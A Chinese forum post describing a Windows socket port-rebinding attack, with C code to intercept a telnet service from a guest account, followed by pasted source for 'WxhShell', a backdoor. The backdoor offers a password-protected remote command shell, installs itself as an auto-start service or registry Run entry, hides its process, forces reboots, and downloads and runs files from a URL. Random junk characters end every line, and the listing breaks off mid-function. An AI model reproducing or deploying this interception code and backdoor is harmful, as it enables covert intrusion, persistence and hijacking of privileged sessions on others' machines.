社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11344阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !6x7^E;c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }V[ORGzox  
0HUylnXf0  
  saddr.sin_family = AF_INET; PQp =bX,  
G:3szz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QYi4A "$`  
Tw7]   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q'qX`K+@`  
-QwH|   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 px*1 3"  
XDHi4i47`o  
  这意味着什么?意味着可以进行如下的攻击: 3)OQgeKU  
',c~8U#q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gJCZ9{Nl  
LM+d3|gSV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C}(@cn `L  
'u E;8.,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .T)wG;+  
SZEi+CRs0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tJybR"NQ  
h[&"KA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {VKFw=$8  
]Axz}:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 EY:IwDA.}  
hf^<lJh~=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :m(DRD  
'_^T]fr}  
  #include z:@:B:E  
  #include r fzNw  
  #include Zazff@O *  
  #include    P#,;)HF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *yaS^k\  
  int main() 0y6M;"&~E  
  { &!OEd ]  
  WORD wVersionRequested; *ziR&Fr!  
  DWORD ret; yIrJaS-  
  WSADATA wsaData; &w#!   
  BOOL val;  ?C#E_  
  SOCKADDR_IN saddr; GB35ouE  
  SOCKADDR_IN scaddr; \+l*ZNYM3  
  int err; N+h05`  
  SOCKET s; l?=\9y  
  SOCKET sc; jj1\oyQ8  
  int caddsize; '3Lu_]I-  
  HANDLE mt; OQ7 `n<I<)  
  DWORD tid;   .w;kB}$YC  
  wVersionRequested = MAKEWORD( 2, 2 ); -^546 7  
  err = WSAStartup( wVersionRequested, &wsaData ); K)BQ0v.:[  
  if ( err != 0 ) { 0/b  _T  
  printf("error!WSAStartup failed!\n"); h%krA<G9  
  return -1; o6d x\  
  } t* =[RS*  
  saddr.sin_family = AF_INET; ATl?./Tu  
   _$ivN!k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xH xTL>,?  
~Ix2O   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'gvR?[!t  
  saddr.sin_port = htons(23); X!p`|i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G$>QH-p  
  { XTo7fbW*  
  printf("error!socket failed!\n");  }:Gs ,  
  return -1; sVK?sBs]  
  } o`,~#P|  
  val = TRUE; IQRuqp KL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v6s,lC5qR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B*,)@h  
  { 0Gc@AG{  
  printf("error!setsockopt failed!\n"); d<6F'F^w.7  
  return -1; 1^4:l!0D  
  } PDuc;RG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @kqxN\DE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  @Fb1D"!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +yp:douERi  
Z*i p=FYR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P"8Ix  
  { N+=|WeZ  
  ret=GetLastError(); 80Dn!9j*  
  printf("error!bind failed!\n"); !Aw^X} C  
  return -1; b,E?{uG  
  } D&" D[|@  
  listen(s,2); m{/( 3  
  while(1) %bAQ>E2;m  
  { N-\N\uN  
  caddsize = sizeof(scaddr); :<t=??4m  
  //接受连接请求 G{3 |d/;Bt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O\ZC$XF  
  if(sc!=INVALID_SOCKET) G aV&y  
  { <qwf"Ey  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N2v/<  
  if(mt==NULL) wSN9`"  
  { IT1YF.i  
  printf("Thread Creat Failed!\n"); cm(*F 0<  
  break; AJbCC  
  } c3^!S0U  
  } YV<y-,Io  
  CloseHandle(mt); ,Uz8_r  
  } #wI}93E  
  closesocket(s); ?T/]w-q>  
  WSACleanup(); _x!id f  
  return 0; a%T`c/C  
  }   N/bOl~!y  
  DWORD WINAPI ClientThread(LPVOID lpParam) X.eOw>.  
  { 3m1(l?fp  
  SOCKET ss = (SOCKET)lpParam; q(?+01  
  SOCKET sc; `RL Wr,h  
  unsigned char buf[4096]; uiVN z8H  
  SOCKADDR_IN saddr; L"qJZU  
  long num; V4:/LNq_]  
  DWORD val; Io1j%T#ZT  
  DWORD ret; 7nek,8b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HIXAA?_eh=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P:"R;YCvE  
  saddr.sin_family = AF_INET; YYv0cV{E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7k( }U_v  
  saddr.sin_port = htons(23); !6KX^j-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p~ b4TRvA6  
  { %S`& R5  
  printf("error!socket failed!\n"); \c< oVF'  
  return -1; fF(2bVKP:  
  } ; oyV8P$  
  val = 100; RbAl_xKI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eV[{c %wN:  
  { %MeAa?G-#  
  ret = GetLastError(); jE\ G_>  
  return -1; m/KaWrw/)  
  } BNfj0e5b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )`DVPudiy  
  { HwUaaK   
  ret = GetLastError(); yQ$irS?  
  return -1; Mg;pNK\n  
  } ~_\Ra%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Vu:ZG*^  
  { Q$E.G63Wl  
  printf("error!socket connect failed!\n"); u?=mh`  
  closesocket(sc); hdPGqJE  
  closesocket(ss); %Mda<3P  
  return -1; !8H0.u rw  
  } 1dQAo1  
  while(1) uUI#^ A  
  { Qr.{_M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )A8#cY!<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  b`jR("U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :_8K8Sa  
  num = recv(ss,buf,4096,0); rNP;53FtZl  
  if(num>0) ZcN0:xU  
  send(sc,buf,num,0); ;6G]~}>o  
  else if(num==0) A{ +/$7vek  
  break; UP-eKK'z  
  num = recv(sc,buf,4096,0); hX.cdt_?  
  if(num>0) 16iTE-J_  
  send(ss,buf,num,0); Jt_=aMY:7  
  else if(num==0) 6] x6FeuS  
  break; b)diYsTH  
  } ^?cu9S3  
  closesocket(ss); yu;EL>G_AY  
  closesocket(sc); SZWNN#w60?  
  return 0 ; 2(eO5.FYF  
  } _Xf1FzF+a  
Y&6jFT_  
1)X|?ZD]F  
========================================================== 7{#p'.nc5  
$--8%gh dG  
下边附上一个代码,,WXhSHELL q8{Bx03m6  
imM!Me 0TE  
========================================================== Z",0 $Gxu  
1=5"j]0hY  
#include "stdafx.h" +^AdD8U  
opfnIkCe  
#include <stdio.h> /TMVPnvz.  
#include <string.h> F5*-HR  
#include <windows.h> | .jWz.c  
#include <winsock2.h> bpY*;o$~  
#include <winsvc.h> ]&8em1  
#include <urlmon.h> b] 5dBZ(  
{"p ~M7  
#pragma comment (lib, "Ws2_32.lib") Zux L2W  
#pragma comment (lib, "urlmon.lib") ;]LQ}^MP(  
x1@,k=qrd  
#define MAX_USER   100 // 最大客户端连接数 >WZ.Dj0n  
#define BUF_SOCK   200 // sock buffer F'uqL+jVO  
#define KEY_BUFF   255 // 输入 buffer y" =?l  
4@{;z4*`  
#define REBOOT     0   // 重启 =[n !3M+X  
#define SHUTDOWN   1   // 关机 #wyceEa  
zJXZ0yRT  
#define DEF_PORT   5000 // 监听端口 AROHe  
ToHx!,tDS  
#define REG_LEN     16   // 注册表键长度 MV5$e  
#define SVC_LEN     80   // NT服务名长度 ;~F* 2)  
Z\0wQ;}  
// 从dll定义API WL+EpNKSf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4 $k{,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Id?-Og2i V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G? SPz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !!.@F;]W  
\#[DZOI~  
// wxhshell配置信息 [vr"FLM|9  
struct WSCFG {  ]! ZZRe  
  int ws_port;         // 监听端口 #'/rFT4{v  
  char ws_passstr[REG_LEN]; // 口令 =ls+vH40&  
  int ws_autoins;       // 安装标记, 1=yes 0=no JrBPx/?(,;  
  char ws_regname[REG_LEN]; // 注册表键名 gbdzS6XW~  
  char ws_svcname[REG_LEN]; // 服务名 |E6Thvl$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ox)<"8M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %s}{5Qcl/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LuRCkKJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X!hzpg(`hR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =sW K;`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'l<#;{  
7^>~k}H  
}; H ezbCwsx&  
gPn0-)<  
// default Wxhshell configuration +=W(c8~P  
struct WSCFG wscfg={DEF_PORT, BiU>h.4=\(  
    "xuhuanlingzhe", P*k n}:  
    1, 3uw3 [ SR1  
    "Wxhshell", N!7?D'y   
    "Wxhshell", 3ko h!q+  
            "WxhShell Service", 5B%KiE&p  
    "Wrsky Windows CmdShell Service", xZ'C(~t  
    "Please Input Your Password: ", o"qxR'V  
  1, O=K0KOj  
  "http://www.wrsky.com/wxhshell.exe", 6EY\  
  "Wxhshell.exe" 5xc e1[  
    }; whN<{AG  
TTO8tT3[6}  
// 消息定义模块 -[*y{K@dh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3_RdzW}f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !}} )f/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K7s[Fa6J  
char *msg_ws_ext="\n\rExit."; 2a-]TVL3  
char *msg_ws_end="\n\rQuit."; jct=Nee|  
char *msg_ws_boot="\n\rReboot..."; /sYr?b!/<6  
char *msg_ws_poff="\n\rShutdown..."; 8}BM`@MG  
char *msg_ws_down="\n\rSave to "; 1#L%Q(G  
E!X>C^  
char *msg_ws_err="\n\rErr!"; ,./ n@.na  
char *msg_ws_ok="\n\rOK!"; )W_akUL  
;QVTb3Th  
char ExeFile[MAX_PATH]; Q)E3)),  
int nUser = 0; [VX5r1-F  
HANDLE handles[MAX_USER]; 0`pCgF  
int OsIsNt; # ,H!<X;SS  
r5Q#GY>  
SERVICE_STATUS       serviceStatus; e6*,MnqBh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |Fx *,91  
xm=Gt$>.o  
// 函数声明 I>8_gp\1  
int Install(void); D<70rBf2  
int Uninstall(void); F^.]g@g.|  
int DownloadFile(char *sURL, SOCKET wsh); U `lp56  
int Boot(int flag); B W)@.!C  
void HideProc(void); jcC"vr'u|  
int GetOsVer(void); )M8,Tv*~  
int Wxhshell(SOCKET wsl);  zv"NbN  
void TalkWithClient(void *cs); id,' +<  
int CmdShell(SOCKET sock); C`ZU.|R  
int StartFromService(void); OGW3Pe0Z'  
int StartWxhshell(LPSTR lpCmdLine); o]I8Ghk>/z  
vMY!Z1.*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D\;5{,:d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g'!"klS93  
JS03B Itt  
// 数据结构和表定义 XlXt,  
SERVICE_TABLE_ENTRY DispatchTable[] = Pc?"H!Hkn  
{ t!xdKX& }  
{wscfg.ws_svcname, NTServiceMain}, leF!Uog  
{NULL, NULL} g3Q;]8Y&  
}; hKg +A  
IPn!iv)  
// 自我安装 r?~_^  
int Install(void) J3'q.Pc  
{ UFZOu%Y  
  char svExeFile[MAX_PATH]; "1\GU1x  
  HKEY key; -k:x e:$  
  strcpy(svExeFile,ExeFile); Xn~\Vb  
rosD)]I7  
// 如果是win9x系统,修改注册表设为自启动 'pUJREb  
if(!OsIsNt) { xxg/vaQt=s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o/&K>]8M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EXbZ9 o*  
  RegCloseKey(key); Txl|F\nK`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;Y8>?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R@uA4Al  
  RegCloseKey(key); \)6AzCq  
  return 0; "Uf1;;b  
    } /V cbT >=  
  } p7{H "AC  
} 0)zJG |  
else { <H#0pFB  
uF[*@N  
// 如果是NT以上系统,安装为系统服务 Xe:rPxZf~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V$FZVG/@#  
if (schSCManager!=0) NB44GP1-@  
{ +BO kHXk1  
  SC_HANDLE schService = CreateService -awG1 4%  
  ( pyX:$j2R+%  
  schSCManager, B[h^]k  
  wscfg.ws_svcname, LN.*gG l  
  wscfg.ws_svcdisp, \N-3JOVy  
  SERVICE_ALL_ACCESS, F+NX [  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U8gj\G\`  
  SERVICE_AUTO_START, 3mopTzs)  
  SERVICE_ERROR_NORMAL, R'vNJDFY  
  svExeFile, !?).4yr  
  NULL, [+l6x1Am  
  NULL, wKpb%3  
  NULL, KiFTj$w,  
  NULL, E ?bqEW(  
  NULL l{]KA4  
  ); Yv)c\hm(7j  
  if (schService!=0) }/\`'LQ  
  { \ntUxPox.  
  CloseServiceHandle(schService); [n&ES\o#(  
  CloseServiceHandle(schSCManager); 2wPc yD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \M|:EG%  
  strcat(svExeFile,wscfg.ws_svcname); G; exH$y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R i,_x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (GGosXU-v  
  RegCloseKey(key); (~bx%  
  return 0; zN;P_@U  
    } !;vv-v,LQ  
  } 3G<4rH]  
  CloseServiceHandle(schSCManager); @PLJ)RL  
} H2Z e\c  
} GL-b})yy  
}CZw'fhVWO  
return 1; JC9$"0d7  
} bZAL~z+ V  
tcRJ1:d  
// 自我卸载 a9 q:e  
int Uninstall(void) oclU)f.,  
{ SO STtuT  
  HKEY key; Ahba1\,N$  
Bxw(pACf  
if(!OsIsNt) { Y-st2r[,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4{vEW(  
  RegDeleteValue(key,wscfg.ws_regname); |N)),/R_  
  RegCloseKey(key); |*b-m k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q@PDhISa  
  RegDeleteValue(key,wscfg.ws_regname); ]xoG{%vgb  
  RegCloseKey(key); C4gES"T  
  return 0; 34"PtWbV>  
  } \X! NoF  
} 7TI6EKr  
} Z1v~tqx  
else { b$Dh|-8  
QY<5o;m`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '+vmC*-I(  
if (schSCManager!=0) r_,;[+!  
{ `jr?I {m;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ya!%o> J%t  
  if (schService!=0) kw#-\RR_c  
  { %QGw`E   
  if(DeleteService(schService)!=0) { Fsx<Sa  
  CloseServiceHandle(schService); Z^'\()3t  
  CloseServiceHandle(schSCManager); F&7|`o3  
  return 0; gX-hYQrC  
  } P,3w b  
  CloseServiceHandle(schService); b5 NlL`g  
  } HOCj* O4  
  CloseServiceHandle(schSCManager); L@zhbWY  
} E]m?R 4  
} aHYISjZ]>  
-/Wf iE  
return 1; nSBhz  
} &dK !+  
"dDrw ]P;  
// 从指定url下载文件 9 6#]P  
int DownloadFile(char *sURL, SOCKET wsh) 7m]J7 +4  
{ pWv1XTs@t:  
  HRESULT hr; nP*%N|0  
char seps[]= "/"; N#-pl:J(  
char *token; 1 JIU5u)  
char *file; ?Y S 3)  
char myURL[MAX_PATH]; SA=>9L,2  
char myFILE[MAX_PATH]; M3|G^q:l  
y@LiUe5  
strcpy(myURL,sURL); Q@NFfJJ  
  token=strtok(myURL,seps); W-&V:S{<  
  while(token!=NULL) 10c.#9$  
  { p nI=  
    file=token; )7 8T+7Kq  
  token=strtok(NULL,seps); ]cmX f  
  } uZ JfIC<>  
g|$;jQ\_  
GetCurrentDirectory(MAX_PATH,myFILE); h4F%lGot  
strcat(myFILE, "\\"); 3/Z>W|w#w  
strcat(myFILE, file); ez*QP|F*9  
  send(wsh,myFILE,strlen(myFILE),0); t:vBVDkD  
send(wsh,"...",3,0); > l0H)W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #qDm)zCM  
  if(hr==S_OK) !d!u{1Y&  
return 0; pPo xx"y  
else cgQ6b.  
return 1; YC56] Zp  
4G&dBH  
} iT,7jd?6#  
2E!~RjxSY  
// 系统电源模块 w( XZSE  
int Boot(int flag) SUUN_w~  
{ 3z2 OW@zL$  
  HANDLE hToken; 6(4d3}F  
  TOKEN_PRIVILEGES tkp; 6X m'^T  
:N$-SV  
  if(OsIsNt) { r-.@MbBm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h"0)spF"d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u5glKE  
    tkp.PrivilegeCount = 1; h ! R=t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dpNERc5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p@4GI[4  
if(flag==REBOOT) { 0NC70+4L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7dACbqba  
  return 0; ) =29Hm"  
} rZaO^}u]  
else { Z f\~Cl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +s"6[\H1d  
  return 0; S**eI<QFSk  
} @v#P u_  
  } \i%mokfbc  
  else { (4A'$O2  
if(flag==REBOOT) { [x>Ju&))$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,bd jk(  
  return 0; &s(&B>M  
} uXh:/KO  
else { 3Ioe#*5\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Kob,}NgqZ  
  return 0; +?m.uY(  
} xHJkzI  
} zp1ym}9M  
\P?X`]NwnO  
return 1; bG@2f"  
} tZKw(<am  
fZ7AGP   
// win9x进程隐藏模块 zN|k*}j1J  
void HideProc(void) SFDTHvXu#_  
{ FC, =g`Q!  
f6`GU$H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kv3Dn&<rJ  
  if ( hKernel != NULL ) V<H9KA  
  { Op ?"G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^sLx3a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y6 sX|~Zy  
    FreeLibrary(hKernel); 8iJB'#''*  
  } RK|*yt"f"  
Wx{E\ l  
return; ~:bdS 4w  
} 'Uf?-t*LT@  
KBN% TqH|  
// 获取操作系统版本 9T24dofkJ  
int GetOsVer(void) sEdz`F  
{ #H>{>0q  
  OSVERSIONINFO winfo; PKSfu++Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c8JW]A`9b)  
  GetVersionEx(&winfo); 4Qf sxg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t n5  
  return 1; o" ,8   
  else &o;0%QgF  
  return 0; x I.W-js[  
} gK[;"R)4o@  
@>(KEjQTz  
// 客户端句柄模块 FHSoj=  
int Wxhshell(SOCKET wsl) YoKyiO!   
{ ?";SUku  
  SOCKET wsh; !EB<N<P"t  
  struct sockaddr_in client; =L" 0]4K  
  DWORD myID; lZcNio  
f`uRC-B/  
  while(nUser<MAX_USER) 2(xC|  
{ E s5: S#  
  int nSize=sizeof(client); 8I#ir4z#<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P#~B @d  
  if(wsh==INVALID_SOCKET) return 1; Vi8A4  
:/;/mHG]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _]>1(8_N  
if(handles[nUser]==0) YzI;)  
  closesocket(wsh); D%YgS$p[M$  
else '3(^Zv  
  nUser++; G-Tmk7m  
  } .z`70ot?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s3Vb2C*  
^QRg9s,T<  
  return 0; |:=o\eu&  
} -[V-f> :  
GlAI~\A  
// 关闭 socket p?:5 U[KM  
void CloseIt(SOCKET wsh) 1q;v|F  
{ i/ilG 3m>  
closesocket(wsh); 7w/IHML  
nUser--; /9w>:i81  
ExitThread(0); !LI<%P)  
} ~9dpB>+  
L8QWEFB|  
// 客户端请求句柄 "#j}F u_!  
void TalkWithClient(void *cs) B )r-,M  
{ DYD<?._I  
 .w9LJ  
  SOCKET wsh=(SOCKET)cs; BPba3G9H  
  char pwd[SVC_LEN]; &N|$G8\CY  
  char cmd[KEY_BUFF]; Ic#xz;elM  
char chr[1]; JQ&t"`\k  
int i,j; 6Dq4Q|C  
DmiBM6t3N  
  while (nUser < MAX_USER) { jhNFaBrS  
W_\zx<m  
if(wscfg.ws_passstr) { %fqR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9Eyx Ob  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~?Q sr  
  //ZeroMemory(pwd,KEY_BUFF); ??rS h Mu  
      i=0; o%$.8)B9F  
  while(i<SVC_LEN) { 0mY Y:?v  
5</$dcG  
  // 设置超时 ,S8K!  
  fd_set FdRead; @w[i%F,&`  
  struct timeval TimeOut; i q(PC3e`V  
  FD_ZERO(&FdRead); *gbK :*_J  
  FD_SET(wsh,&FdRead); E $@W~).!  
  TimeOut.tv_sec=8; u/zBz*zh  
  TimeOut.tv_usec=0; :S+K\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [. 5m}V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :]^e-p!z  
~&?bU]F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x*Lt]]A  
  pwd=chr[0]; ff"wg\O4  
  if(chr[0]==0xd || chr[0]==0xa) { tgK I  
  pwd=0; '$K E= Jy  
  break; jVj5; }  
  } XIeLu"TSL  
  i++; ~Iu!B Y  
    } ^:eZpQ [,  
;;Q^/rkC  
  // 如果是非法用户,关闭 socket )O]T}eI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WSkGVQu  
} =l ,P'E  
AlSO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6OES'3Cy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '|C3t!H`  
&NE e-cb[  
while(1) { X%1TsCKMj  
rH+OXGoB  
  ZeroMemory(cmd,KEY_BUFF); ^QB[;g.O  
D6sw"V#  
      // 自动支持客户端 telnet标准   k*.]*]   
  j=0; hRcb}>pr  
  while(j<KEY_BUFF) { c?p^!zG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g,Z A\R~  
  cmd[j]=chr[0]; NR{wq|"  
  if(chr[0]==0xa || chr[0]==0xd) { &1xCPKIr  
  cmd[j]=0; xvr5$x|h  
  break; 9(CvGzco <  
  } yVd^A2  
  j++; -EjXVn! vQ  
    } s[1ao"sZ^  
:$5A3i  
  // 下载文件 gg;r;3u  
  if(strstr(cmd,"http://")) { 5\-uo&#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iHK~?qd}  
  if(DownloadFile(cmd,wsh)) ^[L(kHOGzk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )xGAe#E~j  
  else [M_{~1xX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h6 \P&Z  
  } <#63tN9  
  else { THA9OXP  
hGRj  
    switch(cmd[0]) { 90}{4&C.^  
  QFyL2Xes/  
  // 帮助 mCtS_"W  
  case '?': { 8s%/5v"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^S9y7b^;r  
    break; h`fVQN.3  
  } 4JSPD#%f  
  // 安装 mYBEjZ B  
  case 'i': { /'O8RUjN  
    if(Install()) ^ k^y|\UtZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 97}]@xN=  
    else BxY t*b%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h$>F}n j  
    break; ! ,J# r  
    } 85{m+1O~  
  // 卸载 o9?@jjqH  
  case 'r': { +>w]T\[1~  
    if(Uninstall()) ]6&NIz`:,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W+nu=iQ!  
    else r );R/)&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /YKd [RQ  
    break; d1/emwH  
    } 7*'/E#M  
  // 显示 wxhshell 所在路径 MfTLa)Rz  
  case 'p': { #c!:&9oU  
    char svExeFile[MAX_PATH]; \ /-c)  
    strcpy(svExeFile,"\n\r"); .J#'k+>  
      strcat(svExeFile,ExeFile); aD/Rr3v>  
        send(wsh,svExeFile,strlen(svExeFile),0); E$d3+``  
    break; ^\)a[OWp  
    } 5:Qz  
  // 重启 od;-D~  
  case 'b': { JuRoeq.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'Pz%c}hJ  
    if(Boot(REBOOT)) ]AP1+ &9fN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JFq wC=-  
    else { Pg4&}bX:I  
    closesocket(wsh); ,CO2d)}  
